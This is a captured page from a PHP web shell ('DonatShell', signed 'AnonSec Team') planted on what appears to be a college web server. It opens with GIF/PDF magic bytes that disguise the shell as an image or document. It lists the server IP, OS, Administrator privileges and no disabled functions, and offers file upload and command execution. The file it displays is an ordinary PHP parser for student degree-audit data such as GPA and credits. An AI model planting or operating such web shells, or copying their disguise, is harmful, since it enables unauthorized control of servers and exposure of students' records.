GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Admin/Enrollment/parse/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Admin/Enrollment/parse/parseDARS_30_c.phpinc
<?
// Admin/Enrollment/parse/parseDARS_30_c.phpinc
// Parse state 30
// Searching for: SATISFACTORY ACADEMIC PROGRESS REQUIREMENTS until first Ed Plan Section.
// ['StudentCumulativeCompletionPercentage']
// ['StudentCreditsAdded'] ['StudentGPA']
// ['StudentCreditsInProgress']
// ['CredentialCreditsRequired'] ['CredentialCreditsEarned'] ['CredentialCreditsInProgress'] ['CredentialCreditsNeeds']

#$DEBUG_parseDARS_30_c = true;
if ( !isset($DEBUG_parseDARS_30_c) ) $DEBUG_parseDARS_30_c = false;
if ( $DEBUG_parseDARS_30_c ) {
	printLine(basename(__FILE__));
	printLine('Searching for: SATISFACTORY ACADEMIC PROGRESS REQUIREMENTS until first Ed Plan Section.');
	printVar("$index: \$f_DARSln",$f_DARSln);
	#printVar('$f_DARSlnAsize',$f_DARSlnAsize);
	#printVar('$f_DARSlnA',$f_DARSlnA);
}
#include('common/pageFooter.phpinc');

// Skip to.
while ( !in_DARSln('SATISFACTORY ACADEMIC PROGRESS REQUIREMENTS') && !is_CourseSection() && get_DARSln() ) {
	if ( $DEBUG_parseDARS_30_c ) printVar("$index: \$f_DARSln",$f_DARSln);
}

// ['StudentCumulativeCompletionPercentage']
$indexStart = $index;
$DARS['StudentCumulativeCompletionPercentage'] = 0;
$DARS['StudentCreditsAdded'] = 0;
$DARS['StudentGPA'] = 0;
if ( !$f_error && in_DARSln('SATISFACTORY ACADEMIC PROGRESS REQUIREMENTS') ) {
	// Skip to cumulative completion percentage line.
	while ( !$f_error && !in_DARSln('cumulative completion percentage') && !in_DARSln('Total Cumulative Credits and GPA') && !in_DARSln('--------------------------------------------------------------------------------') && get_DARSln() ) {
		if ( $DEBUG_parseDARS_30_c ) printVar("$index: Skipping: \$f_DARSln",$f_DARSln);
	}
	if ( in_DARSln('Total Cumulative Credits and GPA') ) $index--; // Reset if Total Cumulative Credits and GPA.
	if ( !$f_error && in_DARSln('cumulative completion percentage')) {
		get_DARSln();
		if ( $DEBUG_parseDARS_30_c ) printVar("$index: ['StudentCumulativeCompletionPercentage']",$f_DARSln);
		if ( !$f_error && $f_DARSlnAsize == 2 && is_numeric($f_DARSlnA[0]) && $f_DARSlnA[1] == "%") {
			$DARS['StudentCumulativeCompletionPercentage'] = $f_DARSlnA[0];
		} else {
			$f_error = 'Line does not contain cumulative completion percentage.<span class=\"pv_fl\"> '.basename(__FILE__).':'.__LINE__.'</span>';
		}
	} else {
		// Did not find cumulative completion percentage.
		// Back up 1 line if we hit end of section.
		if ( in_DARSln('--------------------------------------------------------------------------------') ) $index--;
	}
	// Skip past end of section.
	#if ( $DEBUG_parseDARS_30_c ) printVar("$index: \$f_DARSln",$f_DARSln);
	while ( !$f_error && get_DARSln() && !in_DARSln('--------------------------------------------------------------------------------') && !in_DARSln('Total Cumulative Credits and GPA') ) {
		if ( $DEBUG_parseDARS_30_c ) printVar("$index: Skipping: \$f_DARSln",$f_DARSln);
	}
	if ( in_DARSln('Total Cumulative Credits and GPA') ) $index--;
	if ( !$f_error ) { get_DARSln(); }
  // Total Cumulative Credits and GPA section
	// Skip past Cumulative GPA Required to Graduate line.
	if ( $DEBUG_parseDARS_30_c ) printVar("$index: \$f_DARSln",$f_DARSln);
	while ( !$f_error && !in_DARSln('Cumulative GPA Required to Graduate') && !in_DARSln('--------------------------------------------------------------------------------') && get_DARSln() ) {
		if ( $DEBUG_parseDARS_30_c ) printVar("$index: Skipping: \$f_DARSln",$f_DARSln);
	}
	
	if ( !$f_error ) { get_DARSln(); }
	
	if ( $DEBUG_parseDARS_30_c ) printVar("$index: \$f_DARSln",$f_DARSln);
	#printVar("$index: \$f_DARSln",$f_DARSln); #printVar('$f_DARSlnAsize',$f_DARSlnAsize); #printVar('$f_DARSlnA',$f_DARSlnA);
	// ['StudentCreditsAdded'] ['StudentGPA']
	if ( !$f_error ) {
		if ( $f_DARSlnAsize >= 3 && is_numeric($f_DARSlnA[0]) && ($f_DARSlnA[1] == "CREDITS" || $f_DARSlnA[1] == "CREDIT") && $f_DARSlnA[2] == "ADDED") {
			$DARS['StudentCreditsAdded'] = $f_DARSlnA[0];
			#printVar("$index: ['StudentCreditsAdded']",$f_DARSln);
			if ( $DARS['StudentCreditsAdded'] == '.0' ) $DARS['StudentCreditsAdded'] = '0';
			$DARS['StudentGPA'] = 0;
			if ($f_DARSlnAsize == 5 && is_numeric($f_DARSlnA[3]) && $f_DARSlnA[4] == "GPA") {
				$DARS['StudentGPA'] = $f_DARSlnA[3];
				#printVar("$index: ['StudentGPA']",$f_DARSln);
			} else {
				$DARS['StudentGPA'] = 0;
				#printVar("$index: ['StudentGPA']",$f_DARSln);
			}
			get_DARSln();
		} else {
			$index--;
			//$f_error = 'Line does not contain Credits Added and/or GPA.<span class=\"pv_fl\"> '.basename(__FILE__).':'.__LINE__.'</span>';
		}
	}
}
if ( $DEBUG_parseDARS_30_c ) printVar("\$DARS['StudentCumulativeCompletionPercentage']",$DARS['StudentCumulativeCompletionPercentage']);

// Total Cumulative Credits and GPA section

if ( $DEBUG_parseDARS_30_c ) printVar("\$DARS['StudentCreditsAdded']",$DARS['StudentCreditsAdded']);
if ( $DEBUG_parseDARS_30_c ) printVar("\$DARS['StudentGPA']",$DARS['StudentGPA']);

if ( $DEBUG_parseDARS_30_c ) printVar("$index: \$f_DARSln",$f_DARSln);
// ['StudentCreditsInProgress']
$DARS['StudentCreditsInProgress'] = 0;
if ( !$f_error ) {
	if ( !$f_error && $f_DARSlnAsize == 3 || $f_DARSlnA[0] == "IN-PROG" && is_numeric($f_DARSlnA[1]) && ($f_DARSlnA[2] != "CREDITS" || $f_DARSlnA[2] != "CREDIT") ) {
		$DARS['StudentCreditsInProgress'] = $f_DARSlnA[1];
		#printVar("$index: ['StudentCreditsInProgress']",$f_DARSln);
	} else {
		$index--;
		//$f_error = 'Line does not contain Credits In Progress.<span class=\"pv_fl\"> '.basename(__FILE__).':'.__LINE__.'</span>';
	}
}
if ( $DEBUG_parseDARS_30_c ) printVar("\$DARS['StudentCreditsInProgress']",$DARS['StudentCreditsInProgress']);

// Skip past end of section.
if ( $DEBUG_parseDARS_30_c ) printVar("$index: \$f_DARSln",$f_DARSln);
while ( !$f_error && get_DARSln() && !in_DARSln('--------------------------------------------------------------------------------') && !in_DARSln('Total Credits Required') ) {
	if ( $DEBUG_parseDARS_30_c ) printVar("$index: Skipping: \$f_DARSln",$f_DARSln);
}
if ( in_DARSln('Total Credits Required') ) $index--;
if ( !$f_error ) { get_DARSln(); }

// Total Credits Required section
$sectionParsed = false;

// ['CredentialCreditsRequired']
if ( $DEBUG_parseDARS_30_c ) printVar("$index: \$f_DARSln",$f_DARSln);
while ( !$f_error && get_DARSln() && !in_DARSln('--------------------------------------------------------------------------------') && !in_DARSln('Total Credits Required') ) {
	if ( $DEBUG_parseDARS_30_c ) printVar("$index: Skipping: \$f_DARSln",$f_DARSln);
}
$DARS['CredentialCreditsRequired'] = 0;
if ( !$f_error && $f_DARSlnAsize == 4 && is_numeric($f_DARSlnA[0]) && $f_DARSlnA[1] == 'Total' && $f_DARSlnA[2] == 'Credits' && $f_DARSlnA[3] == 'Required' ) {
	$DARS['CredentialCreditsRequired'] = $f_DARSlnA[0];
	#printVar("$index: ['CredentialCreditsRequired']",$f_DARSln);
	get_DARSln();
	$sectionParsed = true;
}
if ( !$f_error && $f_DARSlnAsize == 5 && ( $f_DARSlnA[0] == '-' || $f_DARSlnA[0] == '+' ) && is_numeric($f_DARSlnA[1]) && $f_DARSlnA[2] == 'Total' && $f_DARSlnA[3] == 'Credits' && $f_DARSlnA[4] == 'Required' ) {
	$DARS['CredentialCreditsRequired'] = $f_DARSlnA[1];
	#printVar("$index: ['CredentialCreditsRequired']",$f_DARSln);
	get_DARSln();
	$sectionParsed = true;
}
if ( $DEBUG_parseDARS_30_c ) printVar("\$DARS['CredentialCreditsRequired']",$DARS['CredentialCreditsRequired']);

// ['CredentialCreditsEarned']
if ( $DEBUG_parseDARS_30_c ) printVar("$index: CredentialCreditsEarned \$f_DARSln",$f_DARSln);
$DARS['CredentialCreditsEarned'] = 0;
if ( !$f_error && $f_DARSlnAsize >= 3 && $f_DARSlnA[0] == 'EARNED' && is_numeric($f_DARSlnA[1]) ) {
	$DARS['CredentialCreditsEarned'] = $f_DARSlnA[1];
	#printVar("$index: ['CredentialCreditsEarned']",$f_DARSln);
	get_DARSln();
	$sectionParsed = true;
} else {
	if ( !$f_error && $f_DARSlnAsize >= 3 && $f_DARSlnA[0] == 'IP' && $f_DARSlnA[1] == 'EARNED' && is_numeric($f_DARSlnA[2]) ) {
		$DARS['CredentialCreditsEarned'] = $f_DARSlnA[2];
		#printVar("$index: ['CredentialCreditsEarned']",$f_DARSln);
		get_DARSln();
		$sectionParsed = true;
	} else {
		if ( !$f_error && $f_DARSlnAsize == 3 && is_numeric($f_DARSlnA[0]) && ( $f_DARSlnA[1] == 'CREDITS' || $f_DARSlnA[1] == 'CREDIT' ) && $f_DARSlnA[2] == 'ADDED' ) {
			$DARS['CredentialCreditsEarned'] = $f_DARSlnA[0];
			#printVar("$index: ['CredentialCreditsEarned']",$f_DARSln);
			get_DARSln();
			$sectionParsed = true;
		}
	}
}
if ( $DEBUG_parseDARS_30_c ) printVar("\$DARS['CredentialCreditsEarned']",$DARS['CredentialCreditsEarned']);

// ['CredentialCreditsInProgress']
if ( $DEBUG_parseDARS_30_c ) printVar("$index: CredentialCreditsInProgress \$f_DARSln",$f_DARSln);
$DARS['CredentialCreditsInProgress'] = 0;
if ( !$f_error && $f_DARSlnAsize == 3 && $f_DARSlnA[0] == 'IN-PROGRESS' && is_numeric($f_DARSlnA[1]) ) {
	$DARS['CredentialCreditsInProgress'] = $f_DARSlnA[1];
	#printVar("$index: ['CredentialCreditsInProgress']",$f_DARSln);
	get_DARSln();
	$sectionParsed = true;
} else {
	if ( $DEBUG_parseDARS_30_c ) {
		printVar("$index: \$f_DARSln",$f_DARSln);
		printVar('$f_DARSlnAsize',$f_DARSlnAsize);
		printVar('$f_DARSlnA',$f_DARSlnA);
	}
	if ( !$f_error && $f_DARSlnAsize == 3 && $f_DARSlnA[0] == 'IN-PROG' && is_numeric($f_DARSlnA[1]) ) {
		$DARS['CredentialCreditsInProgress'] = $f_DARSlnA[1];
		#printVar("$index: ['CredentialCreditsInProgress']",$f_DARSln);
		get_DARSln();
		$sectionParsed = true;
	}
}

if ( $DEBUG_parseDARS_30_c ) printVar("\$DARS['CredentialCreditsInProgress']",$DARS['CredentialCreditsInProgress']);

// ['CredentialCreditsNeeds']
if ( $DEBUG_parseDARS_30_c ) printVar("$index: \$f_DARSln",$f_DARSln);
$DARS['CredentialCreditsNeeds'] = 0;
if ( !$f_error && $f_DARSlnAsize == 4 && $f_DARSlnA[1] == 'NEEDS' && is_numeric($f_DARSlnA[2]) ) {
	$DARS['CredentialCreditsNeeds'] = $f_DARSlnA[2];
	#printVar("$index: ['CredentialCreditsNeeds']",$f_DARSln);
	get_DARSln();
	$sectionParsed = true;
} else {
	if ( !$f_error && $f_DARSlnAsize == 3 && $f_DARSlnA[0] == 'NEEDS' && is_numeric($f_DARSlnA[1]) ) {
		$DARS['CredentialCreditsNeeds'] = $f_DARSlnA[1];
		#printVar("$index: ['CredentialCreditsNeeds']",$f_DARSln);
		get_DARSln();
		$sectionParsed = true;
	}
}
if ( $DEBUG_parseDARS_30_c ) printVar("\$DARS['CredentialCreditsNeeds']",$DARS['CredentialCreditsNeeds']);

#if ( $DEBUG_parseDARS_30_c ) printVar("$index: \$f_DARSln",$f_DARSln);
if ( $DEBUG_parseDARS_30_c ) {
	printVar("$index: \$f_DARSln",$f_DARSln);
	printVar('$f_DARSlnAsize',$f_DARSlnAsize);
	printVar('$f_DARSlnA',$f_DARSlnA);
}

// Skip 'credits within the program must be completed at Ridgewater College for residency.'
if (    ( isset($f_DARSlnA[2]) && $f_DARSlnA[2] == 'credits' )
		 && ( isset($f_DARSlnA[3]) && $f_DARSlnA[3] == 'within' )
		 && ( isset($f_DARSlnA[4]) && $f_DARSlnA[4] == 'the' )
		 && ( isset($f_DARSlnA[5]) && $f_DARSlnA[5] == 'program' )
 ) {
	while ( !$f_error && get_DARSln() && !in_DARSln('--------------------------------------------------------------------------------') ) {
		if ( $DEBUG_parseDARS_30_c ) printVar("skipping $index: \$f_DARSln",$f_DARSln);
	}
}

if ( !$f_error && !$sectionParsed ) {
	#printVar("$index: \$f_DARSln",$f_DARSln); #printVar('$f_DARSlnAsize',$f_DARSlnAsize); #printVar('$f_DARSlnA',$f_DARSlnA);
	$f_error = 'Line does not contain Credential Credit information.<span class=\"pv_fl\"> '.basename(__FILE__).':'.__LINE__.'</span>';
	printVar("\$DARS['StudentCumulativeCompletionPercentage']",$DARS['StudentCumulativeCompletionPercentage']);
	printVar("\$DARS['StudentCreditsAdded']",$DARS['StudentCreditsAdded']);
	printVar("\$DARS['StudentGPA']",$DARS['StudentGPA']);
	printVar("\$DARS['StudentCreditsInProgress']",$DARS['StudentCreditsInProgress']);
	printVar("\$DARS['CredentialCreditsRequired']",$DARS['CredentialCreditsRequired']);
	printVar("\$DARS['CredentialCreditsEarned']",$DARS['CredentialCreditsEarned']);
	printVar("\$DARS['CredentialCreditsInProgress']",$DARS['CredentialCreditsInProgress']);
	printVar("\$DARS['CredentialCreditsNeeds']",$DARS['CredentialCreditsNeeds']);
	set_state(0);
	#exit;
}

if ( $DEBUG_parseDARS_30_c ) {
	printVar("\$DARS['StudentCumulativeCompletionPercentage']",$DARS['StudentCumulativeCompletionPercentage']);
	printVar("\$DARS['StudentCreditsAdded']",$DARS['StudentCreditsAdded']);
	printVar("\$DARS['StudentGPA']",$DARS['StudentGPA']);
	printVar("\$DARS['StudentCreditsInProgress']",$DARS['StudentCreditsInProgress']);
	printVar("\$DARS['CredentialCreditsRequired']",$DARS['CredentialCreditsRequired']);
	printVar("\$DARS['CredentialCreditsEarned']",$DARS['CredentialCreditsEarned']);
	printVar("\$DARS['CredentialCreditsInProgress']",$DARS['CredentialCreditsInProgress']);
	printVar("\$DARS['CredentialCreditsNeeds']",$DARS['CredentialCreditsNeeds']);
}

// Reset if at start of next course section.
if ( is_CourseSection() ) $index--;

set_state(40);

#printVar('$DARS',$DARS);
if ( $DEBUG_parseDARS_30_c )  include('common/pageFooter.phpinc');

$indexStop = $index;
?>

Anon7 - 2022
AnonSec Team